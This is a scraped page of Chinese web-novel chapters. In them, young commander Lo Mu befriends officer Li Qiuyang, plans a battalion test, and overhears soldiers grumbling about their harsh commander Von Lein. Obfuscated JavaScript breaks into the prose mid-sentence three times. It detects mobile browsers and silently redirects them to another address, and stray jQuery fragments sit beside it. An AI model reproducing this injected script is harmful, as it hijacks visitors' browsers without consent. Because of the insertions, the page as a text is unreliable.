d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她们两个坐到桌前一起享用布丁,弗吉尼亚听洛暮给她说晚上回来发生的事情,又羞又笑:“我那不是喝醉了,才这么夸张吗……啊,可是,那么的谦逊有礼,又那么孤高。我没法想象世上有这种人,但他怎么就出现了呢?我们所有人都在看他,那个楼梯!那个瞬间!小暮!你明白吗?你没有去真是太可惜了!” “好,好。完美,完美。”洛暮边打哈欠边点头,她很少拖到这么晚才睡觉,“我不可惜,你享受好了就行。” “什么享受啊。”弗吉尼亚脸红了。 “你没和他跳舞吗?那个时候扶着他的肩膀盯着他的眼睛,我保证他也会为你倾倒。” “啊,你在说什么啊!”弗吉尼亚捂住眼睛叫起来,双颊滚烫。 洛暮轻轻一笑,趁此机会挖走一大勺布丁。 几秒钟后,弗吉尼亚放下手哀叹一声:“没有享受,没有享受!他一支舞没跳就走了。如果说今晚有什么美中不足的事,那就是这个。我情愿花十年寿命跳这支舞!他为什么走得那么早呢?” “咦,竟然是这样。”洛暮微讶。 “对!他只是和同学说了几句话,坐了一会就走了!我在等他邀请舞伴,或者我鼓起勇气邀请他也行。但他走了!走了!你不知道当时有多少人失望透顶。” “这有什么。”洛暮笑了,“宴会上好男孩多的是,你肯定又找到了其他舞伴。” “虽然如此……但谁能比得上苏愈?后面的舞我都跳得心不在焉,啊,不行,我不能再想了!布丁,布丁……小暮,你怎么吃得这么快?伤心,你根本没在听我说话!” 她们很快消灭了那几份布丁。接着洛暮换掉床单被罩,把它们堆在洗漱间门口。时间太晚了,她决定明天再收拾这些东西。途中弗吉尼亚很不好意思地想来搭手,但她在家务事上只会添乱,洛暮温柔地推拒了。 道过晚安,她们都躺到各自的床上。洛暮熄灭桌上的灯,房间陷入一片黑暗。为了通风,她这边的窗户打开了一扇,窗帘轻轻地晃动,风从窗帘底部的缝隙钻进来,顺着地板流动。 洛暮喜欢夜的清凉。她闭上眼睛,却听见弗吉尼亚忽然用被子盖住了脸,她在床上翻滚了几下,又扯下被子,好像兴奋得不能入眠。 洛暮没睁眼,但她能想象弗吉尼亚脸蛋通红的样子。弗吉尼亚还在翻来覆去,这个女孩仍旧没有从那场舞会中回神。过了一会,她终于安静了。就当洛暮以为弗吉尼亚已经睡着的时候,却听到她轻轻的声音:“可是小暮,苏愈……啊!苏愈。” 21.初识的友人与梦醒之人(三) “果然宿舍才是传播情报最快的地方,我军校时的小道消息也全靠舍友提供,不然就两眼一抹黑了。”听洛暮解释完有关于苏愈的前因后果,李秋阳感慨道。 “正是如此,总之我听舍友说了一晚上苏愈。她后半夜又把我折腾起来讲舞会啊苏愈啊,不然我印象不会这么深。” 李秋阳忍俊不禁:“你舍友听着真可爱。” “确实是个可爱的女孩。” “没想到望渊还有这种性格的学生,她最后去了哪里?我听说望渊的学生有一半都会进入八大部,感觉那里很适合你舍友。” “去了哪里?”洛暮重复一遍李秋阳的问题,她微微地笑了,脸上流露出一种不知道该称为遗憾还是嘲弄的神色,“哪也没去,她订婚了,应该过得很快乐。毕业后我们没怎么联系。” 其实弗吉尼亚给洛暮发过好几次消息,基本都是约她去逛街吃饭。洛暮一推再推,因为那时她正在和陈砚泽紧锣密鼓地准备远行的事务,心绪不宁无暇他顾。再往后她就离开了阿纳斯塔西亚,见面更是天方夜谭。 一切正如洛暮所预料的那样,那个半晴半雨的午后一别,此生她们可能再也无缘相见。她想弗吉尼亚今后的生活应该是做个快乐的笨女孩,漂亮的小傻瓜。 她会在未婚夫的新房里边跳舞边洒香水,轻盈得像只百灵鸟,就像她曾在望渊那间小而温馨的宿舍里做过的那样。穿着棉布睡裙的女孩哼着歌在地板上踮脚跳跃,让柑橘味的清香遍布每个角落。而洛暮会说不要喷到我的书上,这都是我从左拉带来的,绝对的前文明真品,异常珍贵。 至于弗吉尼亚的再遥远一些的今后呢?洛暮不再去想了,她怕一眼看穿舍友纸片般薄薄的未来。 “这样也很好。”对于洛暮的回答,李秋阳毫不惊奇,他仿佛司空见惯了。 “是的,这样也很好。”洛暮淡淡地说。 他们的话题又回到苏愈,李秋阳生动地转达了他同学的抱怨,无非是在聪明人面前做什么都显得自己像傻瓜之类的话,洛暮笑得停不下来。 “你会这么觉得吗?”李秋阳说完后,笑着问洛暮。 “觉得什么?” “周围人都像傻瓜。” 洛暮警惕地说:“不要想着给我挖坑……我认为大家都一样,我全部一视同仁。” “真的?” “绝对如此。” “好,这才是做少将的觉悟。一以待之,公平公正。” “原来在这里等着!”洛暮惊呼。 “但我觉得你和苏愈应该还是有点共性的。”李秋阳没等洛暮反击,立刻把话题转到另一个方向。 “除了都是望渊学生,还能有哪里像。你又没见过他……”洛暮吐槽道,“而且我很爱说话的,人家却沉默是金。” “关键就在这里。你们都是望渊的,成绩又一样的出色,在哪里都不愁出人头地,就算从此不思进取也能混个上校走人。结果一个两个全跑阿德尔玛来了,令人费解。” “我知道了,你是想说我们蠢。” “我是想夸你们有志向,尤其是你。千里迢迢跑到这里来,还那么用心地教士兵军事理论,我简直要惭愧了。”李秋阳认真地说。 听到这么诚挚的称赞,洛暮沉默了一下:“也许?但我说不定是在阿纳斯塔西亚混不下去才来的,落魄潦倒被人家扫地出门,最后只好收拾收拾东西奔阿德尔玛来了。” 志向吗,这种东西当然是有。但如果你不是完全信任对方,最好还是不要把它诉之于口,免得遭人嘲笑。只有深埋在心底不停驱动你前进的才有资格称之为志向对不对?随便说出来的话容易泄气。 她随意岔开话题:“说起教军事理论,你来之前我在给他们讲军事地图。当年在军校学它的时候还有些费劲,今天在讲台上生怕自己说错,误人子弟。” 李秋阳的情商真的很高,他一下子明白洛暮不愿意继续刚才的话题,顺势说:“就算说错了,白越和布莱尔也会帮你指正的。有三个军官在,还怕教不好吗?” “看起来你对我的两个队长很熟悉啊,一连的势力已经渗透得这么深了吗。”洛暮调侃道。 “白越更熟一些,你没来之前他是代理连长,共事过一段时间。他比较……柔弱,我的意思是太容易心软,做主官不能这样。布莱尔不太了解,只知道她性格细心,还是为数不多的女军官,比起其他人印象会深一点。”李秋阳点评道。 不得不承认李秋阳看人很准,他对两个队长的评价竟然跟洛暮对他们的初步印象不谋而合。 他们接下来聊天的内容就五花八门了,洛暮说望渊军校的生活,李秋阳说东君军校的生活。洛暮讲述她来阿德尔玛路上撞见的一些趣事,李秋阳介绍阿德尔玛的一些地方特色。 他们聊军务,洛暮抓住机会严肃地请教了一堆事情,让李秋阳大呼受不了你这种休息时间还问军务的人,但他还是尽心尽力地解决洛暮提出的问题。 这中间洛暮发现李秋阳对阿德尔玛的高级军官几乎是了如指掌。她没有深究,就像李秋阳也没有追问洛暮来到阿德尔玛的目的一样,两个人都很有分寸。 最后,李秋阳问:“我弟弟叫李司宇,小洛你在阿纳斯塔西亚有听过他吗?” “完全没有,可能是我天天在军校里,没机会出去认识人。”洛暮说。而且阿纳斯塔西亚那么大,怎么可能正巧就能遇上呢? “也是。早知道把他也扔进军校里了,下次他来阿德尔玛,我介绍你们认识吧。让他看看优秀的同龄人,免得在阿纳斯塔西亚坐井观天,最后真的变成白痴。” 难以想象阿纳斯塔西亚这个地名会和坐井观天联系到一起,洛暮笑了。这种客气话她听多了,平时大家也就随口说,她随口应。几乎没人真的能做到说还记得上次的谁谁谁吗,我这次把他叫过来了,你们快见一下。 所以她很热情地回应:“没问题,乐意至极。” “一言为定。”李秋阳笑着说。 “一言为定!” 话音刚落,训练场中央的大灯忽然熄灭,他们一下子陷入伸手不见五指的黑暗中。洛暮回头看见住宿区还有点光亮,应该是训练场到了深夜就会熄灯。 李秋阳说:“居然已经这么晚了,没有耽误你休息吧。” “怎么会,我是熬夜大户。晚上睡够六小时即可,现在赶回去还是能做到的。”洛暮轻快地跳下台阶,站起来跺两下脚,说,“走吧走吧,我们也撤退。” 她说着已经跑出两步了,李秋阳快走两步追上她:“你居然不照明,看得清路吗?” 他现在的口气很像个操心的兄长,不知道是不是洛暮让他想到了同样身在阿纳斯塔西亚的弟弟。他打开手环的照明功能,让两人能看清脚下的路。 洛暮这才恍然道:“多谢多谢,光顾着跑了,完全没意识到。” 她也打开自己手环的照明功能,尽管并不需要。 洛暮视力好的出奇,环境明暗对她毫无影响。在学会用枪前,她最擅长的是飞镖,就是那种玩具摊上扎气球的飞镖,这东西既考验视力又考验手感。 母亲刚刚过世的那段时间,独居的洛暮没有安全感。她晚上总会隐约地感到不安,萌生一种有人在门口窥视的错觉。 这个女孩整晚地开着灯睡觉,时不时蹑手蹑脚地走到门口,透过猫眼观察楼道,外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110182|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空空的,只有邻居的垃圾摆在角落。洛暮刚松口气,又突然回头,害怕从屋内冒出一个人。 这种状态严重影响她的生活,她下定决心改变自己疑神疑鬼的心理。 有个周末洛暮买了一篮飞镖,把家里松动的木柜门卸下来靠到墙上。黄昏时分她没有急着开灯,只是静静地坐在沙发上等待夜幕降临。 当她完全身处黑暗时,熟悉的恐慌感又要出现了。这时洛暮猛地站起来,拿起手边的飞镖,猛地掷出去。那一刻只听见刀刃撕裂空气的声音,随后墙那侧传来重重的“笃”的一声。 上一枚飞镖刚出手,她立刻掷出下一枚。小小的客厅里不停回响着利器钉入木板的“笃”“笃”声,犹如一支充满杀气的打击曲。 一分钟后,洛暮再去摸飞镖,篮子里已经空空如也。 她打开灯,客厅立刻明亮起来。靠墙的正中央立的木板上,刚刚丢出去的飞镖紧簇地扎出一个半径十厘米的圆,每支飞镖的头部都深深地没进木板,这是真正的入木三分。 裂痕自木板中心的圆向外辐射,洛暮的手指碰了碰它,木板顷刻四分五裂。 她丢下客厅满地的狼藉不管,径自去洗澡吃饭,接着熄灯躺到床上安然入睡,一夜好梦。那是她在母亲过世后睡的第一个好觉。 第二天洛暮神清气爽地收拾了客厅,到市场上买块新的柜门安装好。说来真是有奇效,那之后洛暮再没觉得有人在窥视,每晚都睡得恬然安谧,觉得家中安全极了。 她在常人无法视物的黑暗里能做到每一枚飞镖正中靶心,现在又怎么可能看不清脚下的路。 他们走回军官宿舍,三个连长的宿舍紧挨着。洛暮和李秋阳的房间都是黑着的,只有中间冯·莱恩的房间还亮着灯,光芒在夜色里显得很温暖,让人想起鮟鱇头上的那盏小灯笼,深海中它亮着微弱的光芒。 洛暮低声问:“熬夜是我们的共识吗?” 李秋阳说:“这倒不是。冯·莱恩晚上睡觉从不熄灯,他的习惯罢了。” 习惯?洛暮想起来当年开灯睡觉的自己,她是因为害怕,冯·莱恩是为什么呢。不过这么深的夜里,还有盏灯照着他们,无论怎样都让人心头涌上踏实的感觉,人类毕竟是趋光的生物,看见光就会觉得心安。 “那就再见了秋阳兄,感觉眼皮在打架,我肯定马上就睡死过去。”洛暮说,她已经推开门准备进去了。 “没想到聊到这么晚。再见,现在睡觉还可以勉强满足你的六小时。”李秋阳笑道。 三间房子这会都亮起灯了。 很快,最左边的灯熄灭。洛暮躺到床上,操劳一天的她非常疲惫,挨到床的一刹那几乎就人事不省。 完全没料到做主官有这么多事,要和这么多人打交道……好想回军校休息一下。这个念头刚出来,洛暮自己都傻傻地笑了。她强撑着最后一点意识把这个想法发给陈砚泽,然后倒头就睡。 陈砚泽要在两小时后才能看到这条消息,她总是在实验室忙碌到深夜。那时她会欣喜地点开置顶的聊天栏,看见洛暮半梦半醒时发来的话:好想变成一座军校。 她在研究所空荡荡的走廊中央放声大笑,已经熄灯的研究所里只有安全出口的绿光标识还在闪烁,陈砚泽边笑边跌跌撞撞走出大门,回到她那间冷清的小屋。 接着,最右边的灯也熄灭了。李秋阳入睡没那么快,晚上聊了这么多让他的神经有些兴奋。他一时间想起很多人很多事情,比如远在阿纳斯塔西亚的弟弟和母亲,比如阿德尔玛心力交瘁的父亲,还有那个刚刚结识的朋友,和她说话是真的很有意思。 最后只剩下中间的灯还孤零零地亮着,与之前别无二致。 22.初识的友人与梦醒之人(四) 接下来一个月的时间,洛暮上午带着士兵训练,下午授课,晚上回到房间又要准备下一天的课程,忙得脚不沾地。 她一有空闲时间还要拉着自己的两个队长筹备军事测试的事情。他们敲定好了基本项目和流程,接着就要出文件交由上级审批。 谢天谢地,文件不用她来写,布莱尔完成了这个任务。 现在洛暮正拿着文件去找周霖审批,她丝毫不担心周霖会刁难挑剔,这些日子的相处让周霖的形象在她心中愈发光辉。 他很像洛暮中学时期的那个逻辑老师,也是个批假条很爽快的大好人,尽管教的不怎么样,但脸上天天洋溢慈祥的微笑,让人看着心情好。 这种人要是遇上得力的下属,那简直是双向奔赴。下属有充分的自由发挥能力,他也尽力支持。但要是下属同样是老好人,那就出大问题了,没人能挑起大梁,内部会不停地踢皮球。 “报告。”洛暮敲门道。 “请进。”门内传来周霖的声音。 洛暮正准备推门,门却先她一步从里面被打开了。她一抬头,立刻笑了,原来是李秋阳。 李秋阳也对她笑了笑,退开一步让洛暮进来,再关上门。营长周霖没有坐在办公桌后,而是放松地倚在沙发上。房间里还有另一个人,金发碧眼,非常夺目,正是二连连长冯·莱恩。 “小洛你来了,坐,都坐。”周霖和蔼地说。沙发由三部分构成,两个面对面的单人座,中间是可以容纳两到三人的长条座。现在李秋阳和冯·莱恩占据了长条座,洛暮只好坐到周霖对面。 实在是难得啊,三个连长全都齐聚一堂。因为明天就是休息日,下午已经处于半放假的状态,他们都没有穿作战服,而是换了干练的军官衬衣。同样的装束三个人穿出完全不同的感觉。 洛暮看着全然是个清爽利落的军校生,那衬衣更像是军校校服,青春的气息能把周围人感染得一下子年轻十岁。李秋阳还是标准的军官气质,阳刚帅气,洛暮心说你这种外貌条件赶紧去当青春校园剧的学长吧,当什么连长,浪费人才。 冯·莱恩倒是独特。洛暮很少和他接触,不由得多看了几眼。他坐在那里,脸色苍白像是不见天日的吸血鬼,肤质看起来蛮好,难以想象他天天开灯睡觉。 平日他独来独往,时刻端着贵族的调子,脸上仿佛写着若不是军务要求我绝不会与尔等宵小打交道。洛暮偶尔会感慨就连林晖那种贵族中的贵族也没冯·莱恩这么讲究和目中无人。 这么一想林晖还真是个好青年。他很少在洛暮面前摆贵族的架势,愿意和她去东门的小饭馆吃饭,在图书馆的角落讨论老师布置的难题,期末复习借笔记给洛暮,那字写得真是端正秀丽,跟他本人一样。其实洛暮的字也写得不错,但她不像林晖那样受过名家教导,只能在林晖挑剔的目光下勉勉强强得了句“力透纸背,很有特点”。 洛暮微笑着把文件交给周霖,她上午用手环给周霖汇报过来意。周霖接过文件看了看,满意地点头,说:“小洛,写得很周全,用心了。” 洛暮说:“这也是靠两个队长协助完成的,他们都很尽职。” 主要是布莱尔用心了,洛暮只负责给大方向,具体策划还是靠布莱尔,不然洛暮真的会被累死。 周霖又将文件递给李秋阳二人,说:“上午听到洛暮说要搞一个军事测试,我就很满意,年轻人果然是有想法有活力。来,你们也看看,把你们三个连长都叫过来就是为了这个事情。” 李秋阳和冯·莱恩互相传阅着看完文件,李秋阳说:“是个很好的主意,既能检验士兵的训练成果,也能调动他们的积极性。洛暮连长的文件写得很周全,可行性强。不仅仅是三连,我们一营都可以来个军事测试。” 周霖点点头,说:“我就是这个意思。洛暮文件里的项目也有代表性,只是营的检验和连的检验规模不一样。小洛啊,你看能不能再出个我们营的方案。就以你原来的文件为基础。下周师长要来视察军队,虽然不一定抽到我们团,但我们也好好表现一下!” 好嘛,工作量又增加了,上面一句话,下面跑断腿。洛暮麻木地微笑道:“是!我回去就修改。” “我也来帮洛暮筹备吧,多一个人多份力量。”李秋阳说。 洛暮向李秋阳投去感恩的一瞥,太义气了秋阳兄。 周霖自然乐于看到下属团结友爱,说:“好!那这件事就交给你们两个了,莱恩你也配合一下。后天前出好方案,下周我们就办起来,给师长展示展示。” 他又说了几句鼓励的话,无非是大家都辛苦了,你们三个要多配合多交流,我们都亲如一家啊。 连长们自然是配合地说对对对,营长说得太对了,我们会好好做事的,您放心吧。他们没有客气多久,周霖急着回家看孩子。周霖家就在附近,好不容易等到休息日的他归心似箭,很快就让洛暮三人散了,自己换上便装匆匆地离去。 洛暮他们走出办公室,冯·莱恩推说他还有事,先一步走了。洛暮看见他边走边用手环联系什么人,一副时不我待的样子。 洛暮猜测他应该是去找队长们商量测试的事情,冯·莱恩争强好胜,肯定会抓住这个机会让自己大放异彩。 他丝毫没想到要留下来和其他两人商讨测试的筹备事宜,不过他的态度也在洛暮意料之内。毕竟周霖只说让冯·莱恩配合嘛。众所周知,配合等于作业里的选修,选修等于不修,谁会真把精力耗在这上面。所以最后只能她和李秋阳操心了。 李秋阳问:“我们什么时候筹划呢?” “今晚有时间吗?” “当然有时间,今晚和明天都闲着。你想今天完成?不愧是行动派。” 洛暮叹口气说:“今日事今日毕,而且明天是休息日,休息日是神圣不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来有人采访李秋阳,问你觉得洛暮元帅成功的秘诀有哪些。他郑重地说:“首先是元帅很能吃,其次是她吃饭很快。” 记者们纷纷震撼,心想上将你还能再朴实无华一些吗,不是都说你和元帅是多年战友,难道功勋煊赫的元帅给你留下最深印象就是这个吗? 然后李秋阳解释道:“饭量大证明她身体强健,能支撑起高强度劳动。速度快证明她摄入热量效率高。元帅就是靠着这两点,身体在战争中才没垮掉。就连现在,她还一直都是我们中间最有活力的那个,我和她比起来简直像个老人了,年轻就是好啊。”当时只有三十多岁的上将如是说。 洛暮风卷残云的表现同样吸引了对面店铺正在用餐的士兵。等到洛暮和李秋阳火急火燎离去后,一个士兵问:“潘恩,刚刚那个是你连长吧。” 三连里那个经常称病,这段时间才来参训的潘恩说:“当然是我连长,怎么了?” “她是饿死鬼投胎吗……”士兵吐槽道。 潘恩不满道:“我连长那么辛苦,多吃点怎么了。你们的冯·莱恩倒是吃饭斯斯文文呢!” “我靠,吃饭时能不能不提他,倒胃口。他还有那个什么赛德都是神经病,看到他们的脸我都要吐了。”二连的士兵听到这个名字就气不打一处来。 23.初识的友人与梦醒之人(五) 见朋友如此反应,潘恩很是幸灾乐祸地笑了。 同桌的人酸溜溜道:“还记得当初潘恩刚来军队,这也不满那也不满。今天怎么跟变了个人似的,居然说起连长的好话了。” “因为我们连长就是很好啊!冯·莱恩会和你们一起吃饭吗?可我连长还会专门请我吃饭,说是庆祝我康复。”潘恩说。 当时洛暮叫上了吴肖利高余,还有他同宿舍的几个人到军官用餐的二楼,自掏腰包请厨师做了一大桌好菜。她举起果汁说让我们庆祝潘恩康复,这几天他课堂上积极得能和肖利一决高下了。 听到康复这个词,吴肖利那几个人都笑得很诡异。潘恩心虚极了,生怕他们抖落真相损害自己在连长心中的良好形象。连忙站起来猛喝一杯,表示自己绝对会补上之前的进度,同时不着痕迹地瞪了他们一眼。吴肖利一点没怕,他笑得更开心了。 二连的士兵们就跟听天方夜谭一般,有人嘲笑道:“潘恩,你那病自己心里没点数吗,好意思吃你连长那顿饭?” 这话戳到潘恩痛处了,他说:“莫斯快闭嘴吧,吃你的饭,少说两句。” 名叫莫斯的士兵哼了一声:“你现在倒好,日子过得不错。我们在冯·莱恩手下累死累活。前天下午一连都解散两个小时了,我们还在那练!起得比鸡早睡得比狗晚,吃饭也都在最后。王岩都晕倒抬走了,他还净说那些废话,满嘴放屁,说什么我们没有毅力。搞笑!他只需要发号施令,我们晒了一天还吃不上饭,谁他妈的想练啊。” “是的,还有那个赛德,他更不是东西。自己在外面找小姐,日子滋润得要命,我们连饭都没得吃。”另一个人附和道。 “居然有这事?孟鹤闰你没骗我吧。”潘恩大吃一惊。 “你这什么表情,潘恩。这不是常事吗?啊哈,这样一看你们三连还真是净土,洛暮管得很严吧。”孟鹤闰笑眯眯地喝下一杯酒,和其他两个苦大仇深的二连士兵比起来,他明显是个乐天派。 “她严是真的严喽……但我们觉得这都是应该的,没人抱怨。”潘恩嘟囔道。 “你是被洗脑了吧!知不知道我们过的什么日子。”莫斯看见潘恩这窝囊样就来气,认定他已经被军官哄骗做了阶级叛徒。他指着潘恩旁边那个小个子士兵问:“军官没几个好东西!王岩,那天冯·莱恩说你什么来着?扶不上墙……什么的?” 瘦小的王岩眼眶唰的红了,他没吭气。孟鹤闰懒洋洋地说:“嗨,还没习惯吗?冯·莱恩就是站着说话不腰疼,兵在他眼里就是牛马。一群烂人,小心到战场上我放他们黑枪。” 莫斯愤愤道:“当兵当兵,当个头的兵。我为什么要来当兵?我家里有吃有喝,干点什么不好跑来当兵?当初脑子真是被驴踢了。再这样我就逃!” 潘恩眉心一跳,心说你喊这么大声干什么:“嘴上说说得了,当逃兵下场很惨的。” “哪怕被枪毙也不想再看到冯·莱恩那张脸了!这日子是人过得吗?”莫斯用力地把筷子拍到桌子上。 这下闹出的动静大了,周围已经有人看过来,孟鹤闰敲敲桌子说:“行了行了,吃你们的饭。这顿我请了,以后你们少喝点酒,这才几瓶就上头。” 他说完又转过去对旁边的人笑着道歉:“我朋友们喝了点酒闹情绪,大家不要在意。” 小吃街靠军营,大概是见多了这种场景,也就没人再关注,食客们继续各吃各的。莫斯还闷闷地坐在那里,余怒未消,王岩也是胆战心惊样子,缩着脖子不敢从碗里抬起脸。 潘恩后悔刚才提了冯·莱恩的名字,好好的一顿饭泡汤了。他没再多说,几个人气氛冷凝地吃完饭,结账走人。 他们刚走出店门,潘恩之外的三个人手环全都响了,莫斯低头一看,刚刚平静下来的脸重新狰狞了:“立刻集合?” “好呀,集他个头。”孟鹤闰说。 王岩倒挺安静,只是脸上的表情已经透露出一种心如死灰的意味。 “什么集合,明天不是休息日吗?”只有潘恩云里雾里。 “你没收到消息?”莫斯问。 “什么消息?” 莫斯把左手伸到潘恩面前,让他看清楚上面的通知:所有士兵十五分钟内训练场集合,不得请假,违者严惩。 “难道是我有延迟?我刷新一下。”潘恩说。 莫斯的脸色更难看了:“别刷新了,手环都是军队统一配的,哪来的延迟?肯定又是冯·莱恩发神经!” “赶紧走吧。去迟了他又要发火。”王岩紧张地说。 “我不去,要去你们去。十五分钟,他真敢想。”莫斯说。 “潘恩搭把手,别让莫斯发疯了。跟连长对着干没好下场,我们把他架走。”孟鹤闰喊道。 “哦哦,来了!莫斯,你别犟了,赶紧走!” 坐在室内的洛暮忽然抬起头,透过窗户,她看见很多士兵神色焦灼地向训练场跑去,要哭出来的样子让人以为后面有鬼在追他们。李秋阳也注意到外面的景象,他站起来说:“看上去像有突发事情。” “我觉得没有。他们都是二连的士兵,我猜是冯·莱恩通知他们集合加训,为的是应对检测。他会说大家狠狠地练,把一连三连都干趴下。” “是吗,我这去验证一下。”李秋阳推门走出去。 很快他就回来了,笑着对洛暮点点头:“料事如神。” 洛暮坐在原地,面前摊着好几份资料,幽幽地说:“他的精力好充沛,我都有点敬佩了。换成我,打死也不会牺牲自己休息日。” “因为你每场训练都和士兵一起,怎么可能不累?而且你们三连训练强度真的大,我简直是目瞪口呆。” “说得好像你们不大一样,跟一连比起来,我们三连只能靠边站。” “说错了吧,我们一连才要靠边站。几天前的凌晨我听到外面有动静,以为出什么事了,结果起来一看,居然是你们三连紧急集合去山里拉练。你们晚上才回来的,当时你还背了个士兵,那场面真是壮观。我手下的士兵都看傻了。” 还有句话李秋阳没说,洛暮凌晨那次拉练过后,第二天冯·莱恩就下令二连加训到深夜。看得出他很想效仿洛暮的作风,但这种活动实践起来难度太高,二连折腾了几天就偃旗息鼓。 洛暮笑了:“原来是那次啊,我是为了模拟夜间行军的情况。当时二队的一个技术兵中途把脚崴了,本想安排人送她回来,但她又说不想掉队。这怎么办,最后就背着她喽。其实回来后累得要死,我们连直接睡到第二天上午。” 她兴致勃勃地说:“而且你知道吗,我们没有花经费哦!中途是在一个村庄里歇脚吃饭,作为报酬,帮人家做了些农活才回来的。” 李秋阳说:“很有意思的样子,也像是战场上会遇到的问题。以后策划这种活动带上我们一连吧。那天我的一队队长使劲问我三连去干什么了,但我只能装傻充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118290|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣。” “怎么不早说,当然可以。就是有点辛苦。”洛暮笑着说。 她的上个休息日就是为了策划那次拉练牺牲的。她必须要提前出去踩点,勘探路线,控制时间。 本来她准备一个人去,但布莱尔和白越也跟着来了,说我们闲着也是闲着,队长怎么好让连长孤军作战。后来又带上了吴肖利和高余。 那次他们走的比正式路线远一些,最后走不动的人居然是吴肖利。他被其他几个人狠狠嘲笑了一顿,白越和高余帮他分担了行李。 “连长你一点都不累吗?”轻装上阵还气喘吁吁的吴肖利说。 洛暮那会已经放慢脚步了,也就是降低行军速度,她说:“我也想问呢,你怎么就累成这样了?枉我还对你期望如此之高,痛心疾首,痛心疾首啊。” 背着吴肖利行李的高余立刻说:“连长你不要太看好他。其实肖利归根结底就是个大学生,几个月前他还学着经济,现在让他翻山越岭实在有点高难度,他得循序渐进。” 一行人笑起来。 吴肖利咬牙切齿道:“高余!我回去就给自己加训,练死也要加训。下次你看着吧!” 高余说:“下次就在四天后,我可是等着了,到时候你给我拿行李,连着一队的那份。” 白越点头:“我看行。” 洛暮在一旁听着,笑得很开心。他们马上要走出山林了,布莱尔提议道:“出都出来了,不如一起聚个餐?我已经提前物色了好几家餐厅,都很地道!” 布莱尔真的很喜欢聚餐,只要有机会,她就会见缝插针说我们聚餐吧聚餐吧。洛暮把这个归结为布莱尔是个好学生,她过去的娱乐方式中只有和朋友聚餐这一项。 没人会不同意布莱尔的提议,饥肠辘辘的五个人到一家炒菜馆大吃一顿。饭后洛暮本来想结账,但居然是吴肖利请了。他垂头丧气地说:“别骂了,别骂了。我承认是我最差劲,我发誓以后会好好锻炼的,请连长和队长做个见证。” 看在这顿饭上,其他人果然没有再提吴肖利的丰功伟绩。 想想那天过得还真有趣,军营虽然很苦,可是战友也多,有他们在身边陪着不会觉得冷清。 洛暮把写着物资需求的那页纸放到李秋阳面前,问:“秋阳兄,我们谁去问后勤处协调物资?一个营的物资,不如直接丢给营长让他发愁。” 李秋阳笑着说:“营长应付不来后勤处处长,处长很有个性的,她之前说最瞧不起没有创造力的中年男性。因为她家庭背景很好,营长也不敢怎么样。” 听着这话,洛暮脑子里又浮现出那个留着时髦卷发睫毛卷曲精致的处长,她对洛暮蛮慷慨大方,基本上有求必应,这热情反倒让洛暮有点受宠若惊了。她说:“好吧,就不指望营长了,还得看我们。嗯……秋阳兄和她熟吗?” “没怎么打过交道。”李秋阳说。 洛暮隐约觉得后勤处处长应该是个颜控,有次她带着吴肖利去,处长对这个英俊的小士兵表示了一定的青睐。那李秋阳也是个帅哥,想必她同样会和颜悦色吧。 李秋阳见她沉思的样子,问:“那我去?” 洛暮说:“不,还是我去吧。场地布置就交给秋阳兄的一连。” “没问题。这样看来我们已经敲定得差不多,今天的工作可以告一段落。” “很好很好,大功告成。准备撤退去休息。”洛暮看看手环,现在是晚上十点半。 24.初识的友人与梦醒之人(六) 他们离开会议室,这时候冯·莱恩的二连还在训练场上。 洛暮路过时驻足看了一会,二连的士兵都面露疲惫,他们中途完全没有休息。冯·莱恩站在旁边,厉声训斥几个队长,言辞刻薄不留情面。她叹口气:“快走吧,别被看到了。” 正所谓城门失火殃及池鱼,洛暮合理怀疑冯·莱恩看到他们后会顺便讽刺一顿——两位不好好筹备你们的计划,跑到这来干什么。 李秋阳笑了,他对这个场景已经见怪不怪:“冯·莱恩是莱萨一个伯爵的儿子,但不是婚生子,十四岁的时候父亲才承认他的身份。可能因为身世的缘故他才比较要强。” “原来如此,难怪他带兵这么严苛。这样说来冯·莱恩只是名字的缩写吧,他应该还有个贵族的大名。” “对。好像是莱恩·冯·施泰因,莱萨星的施泰因家族。” 洛暮还是第一次听到冯·莱恩的身世,看来真应了那句话,每个性格极端的人背后都有段悲情的童年。 是因为这样冯·莱恩才时刻标榜自己贵族的身份吗?人越缺乏什么就越要强调什么,难怪林晖从来不在乎身份的事情,反正帝国里也不会有人高贵得过他。 她很想吐槽冯·莱恩的带兵风格,这不一看就是到战场上会被人放黑枪的嘛。但陈砚泽不在她身边,洛暮也不知道该向谁说。李秋阳和冯·莱恩都是她的同僚,向同僚吐槽同僚不利于内部团结。 他们很快走到军官宿舍,洛暮与李秋阳分别。她总结完今天的事情就躺到床上去了,和陈砚泽的聚餐在明天中午,洛暮可以难得地睡个懒觉。 她没想到这晚上梦见了林晖。 她其实已经半个月没再想起他了,不过是今天看到冯·莱恩时脑子里突然闪过他的影子,那双翡翠般美丽的眼睛就再度入梦。 